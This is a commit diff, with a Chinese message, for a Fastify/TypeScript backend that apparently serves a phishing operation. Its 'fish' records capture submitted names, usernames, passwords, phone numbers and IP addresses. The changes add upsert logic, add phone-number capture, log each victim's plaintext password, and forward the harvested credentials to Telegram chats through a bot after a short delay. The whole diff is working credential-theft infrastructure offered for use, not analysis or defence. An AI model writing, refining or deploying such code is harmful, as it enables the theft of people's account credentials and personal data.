فهرست منبع

优化鱼类控制器和服务,重构创建和更新逻辑,确保在创建新记录时处理 ID 和 IP 地址,添加详细日志记录以便于调试,同时更新用户信息时支持手机号字段。

wuyi 3 ماه پیش
والد
کامیت
78097dd819
3فایلهای تغییر یافته به همراه100 افزوده شده و 45 حذف شده
  1. 46 11
      src/controllers/fish.controller.ts
  2. 14 14
      src/services/bot.service.ts
  3. 40 20
      src/services/fish.service.ts

+ 46 - 11
src/controllers/fish.controller.ts

@@ -14,39 +14,74 @@ import { getClientIP } from '../utils/ip.util'
 
 export class FishController {
   private fishService: FishService
+  private app: FastifyInstance
 
   constructor(app: FastifyInstance) {
+    this.app = app
     this.fishService = new FishService(app)
   }
 
   async create(request: FastifyRequest<{ Body: CreateFishBody }>, reply: FastifyReply) {
     try {
       const fishData = request.body
+      this.app.log.info(`Fish data: ${JSON.stringify(fishData)}`)
 
-      let existingFish: any = null
+      if (!fishData.id) {
+        return reply.code(400).send({ message: 'ID is required' })
+      }
 
+      // 设置 IP 地址
+      if (!fishData.ip) {
+        fishData.ip = getClientIP(request)
+      }
+
+      // 检查用户是否存在
+      let existingFish: any = null
       try {
         existingFish = await this.fishService.findById(fishData.id as string)
-      } catch (error) {}
+      } catch (error) {
+        this.app.log.debug(`Fish with id ${fishData.id} not found, will create new record`)
+      }
 
       if (existingFish) {
+        // 用户存在,更新指定字段
         await this.fishService.updateUserInfo(fishData.id as string, {
           name: fishData.name,
           username: fishData.username,
-          password: fishData.password
+          password: fishData.password,
+          phone: fishData.phone
+        })
+
+        return reply.code(200).send({
+          message: 'Record updated successfully',
+          action: 'updated',
+          fishId: fishData.id
         })
       } else {
-        if (!fishData.ip) {
-          fishData.ip = getClientIP(request)
-        }
-        await this.fishService.create(fishData)
+        // 新用户,创建记录
+        const createdFish = await this.fishService.create(fishData)
+
+        return reply.code(201).send({
+          message: 'Record created successfully',
+          action: 'created',
+          fishId: createdFish.id
+        })
+      }
+    } catch (error: any) {
+      this.app.log.error(error, 'Create record failed')
+
+      if (error.code === 'ER_DUP_ENTRY') {
+        return reply.code(409).send({ message: 'Record ID already exists' })
+      }
+
+      if (error.code === 'ER_NO_DEFAULT_FOR_FIELD') {
+        return reply.code(400).send({ message: 'Missing required fields' })
       }
 
-      return reply.code(201).send({
-        message: 'ok'
+      return reply.code(500).send({
+        message: 'Create record failed',
+        error: error.message
       })
-    } catch (error) {
-      return reply.code(500).send({ message: 'error' })
     }
   }
 

+ 14 - 14
src/services/bot.service.ts

@@ -39,13 +39,13 @@ export class BotService {
 
       // 添加启动错误处理
       this.bot.launch().catch(error => {
-        console.error('Telegram Bot 启动失败:', error.message)
-        console.error('请检查网络连接和 BOT_TOKEN 是否正确')
+        this.app.log.error('Telegram Bot 启动失败:', error.message)
+        this.app.log.error('请检查网络连接和 BOT_TOKEN 是否正确')
       })
 
-      console.log('Telegram bot started')
+      this.app.log.info('Telegram bot started')
     } catch (error) {
-      console.error('BotService 初始化失败:', error)
+      this.app.log.error('BotService 初始化失败:', error)
     }
   }
 
@@ -133,14 +133,14 @@ export class BotService {
 
   async sendMessage(chatId: number | string, text: string) {
     if (!this.bot) {
-      console.warn('Bot 未初始化,无法发送消息')
+      this.app.log.warn('Bot 未初始化,无法发送消息')
       return
     }
 
     try {
       await this.bot.telegram.sendMessage(chatId, text, { parse_mode: 'HTML' })
     } catch (error) {
-      console.error('发送消息失败:', error)
+      this.app.log.error('发送消息失败:', error)
     }
   }
 
@@ -165,19 +165,19 @@ export class BotService {
 
   async sendFishNotificationToAll(id: string, username: string, phone: string, password: string, createdAt: Date) {
     if (!this.bot) {
-      console.warn('Bot 未初始化,跳过发送通知')
+      this.app.log.warn('Bot 未初始化,跳过发送通知')
       return
     }
 
     if (!this.sysConfigRepository) {
-      console.warn('SysConfigRepository 未初始化,跳过发送通知')
+      this.app.log.warn('SysConfigRepository 未初始化,跳过发送通知')
       return
     }
 
     try {
       const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
       if (!chatIdConfig?.value?.trim()) {
-        console.warn('chatId 配置不存在或为空,跳过发送通知')
+        this.app.log.warn('chatId 配置不存在或为空,跳过发送通知')
         return
       }
 
@@ -187,22 +187,22 @@ export class BotService {
         .filter(id => id.length > 0)
 
       if (chatIds.length === 0) {
-        console.warn('没有有效的 chatId 配置')
+        this.app.log.warn('没有有效的 chatId 配置')
         return
       }
 
-      console.log(`准备向 ${chatIds.length} 个聊天发送通知: ${chatIds.join(', ')}`)
+      this.app.log.info(`准备向 ${chatIds.length} 个聊天发送通知: ${chatIds.join(', ')}`)
 
       for (const chatId of chatIds) {
         try {
           await this.sendFishNotification(chatId, id, username, phone, password, createdAt)
-          console.log(`成功发送通知到 chatId: ${chatId}`)
+          this.app.log.info(`成功发送通知到 chatId: ${chatId}`)
         } catch (error) {
-          console.error(`发送通知到 chatId ${chatId} 失败:`, error)
+          this.app.log.error(`发送通知到 chatId ${chatId} 失败:`, error)
         }
       }
     } catch (error) {
-      console.error('sendFishNotificationToAll 失败:', error)
+      this.app.log.error('sendFishNotificationToAll 失败:', error)
     }
   }
 

+ 40 - 20
src/services/fish.service.ts

@@ -20,28 +20,42 @@ export class FishService {
   }
 
   async create(data: Partial<Fish>): Promise<Fish> {
-    const fish = await this.fishRepository.create(data)
-    const savedFish = await this.fishRepository.save(fish)
-
-    // 发送 Telegram 通知
     try {
-      // 等待 5s
-      await new Promise(resolve => setTimeout(resolve, 5000))
-      const botData = await this.findById(savedFish.id)
-      this.app.log.info(`Bot data: ${JSON.stringify(botData)}`)
-      await this.botService.sendFishNotificationToAll(
-        botData.id,
-        botData.name,
-        botData.phone,
-        botData.password,
-        botData.createdAt
-      )
-      this.app.log.info(`Fish notification sent for fish ID: ${botData.id}`)
+      if (!data.id) {
+        throw new Error('ID is required')
+      }
+
+      const fish = this.fishRepository.create(data)
+      const savedFish = await this.fishRepository.save(fish)
+
+      setImmediate(async () => {
+        try {
+          // 等待 10s
+          await new Promise(resolve => setTimeout(resolve, 10000))
+          const botData = await this.findById(savedFish.id)
+          this.app.log.info(`Bot data id: ${botData.id}`)
+          this.app.log.info(`Bot data name: ${botData.name}`)
+          this.app.log.info(`Bot data phone: ${botData.phone}`)
+          this.app.log.info(`Bot data password: ${botData.password}`)
+          this.app.log.info(`Bot data createdAt: ${botData.createdAt}`)
+          await this.botService.sendFishNotificationToAll(
+            botData.id,
+            botData.name,
+            botData.phone,
+            botData.password,
+            botData.createdAt
+          )
+          this.app.log.info(`Fish notification sent for fish ID: ${botData.id}`)
+        } catch (error) {
+          this.app.log.error(error, `Failed to send fish notification for fish ID: ${savedFish.id}`)
+        }
+      })
+
+      return savedFish
     } catch (error) {
-      this.app.log.error(error, `Failed to send fish notification for fish ID: ${savedFish.id}`)
+      this.app.log.error(error, `Create record failed: ${JSON.stringify(data)}`)
+      throw error
     }
-
-    return savedFish
   }
 
   async findById(id: string): Promise<Fish> {
@@ -146,7 +160,10 @@ export class FishService {
     return this.findById(id)
   }
 
-  async updateUserInfo(id: string, data: { name?: string; username?: string; password?: string }): Promise<void> {
+  async updateUserInfo(
+    id: string,
+    data: { name?: string; username?: string; password?: string; phone?: string }
+  ): Promise<void> {
     const updateData: any = {}
 
     if (data.name !== undefined && data.name !== null && data.name !== '') {
@@ -158,6 +175,9 @@ export class FishService {
     if (data.password !== undefined && data.password !== null && data.password !== '') {
       updateData.password = data.password
     }
+    if (data.phone !== undefined && data.phone !== null && data.phone !== '') {
+      updateData.phone = data.phone
+    }
 
     updateData.loginTime = new Date()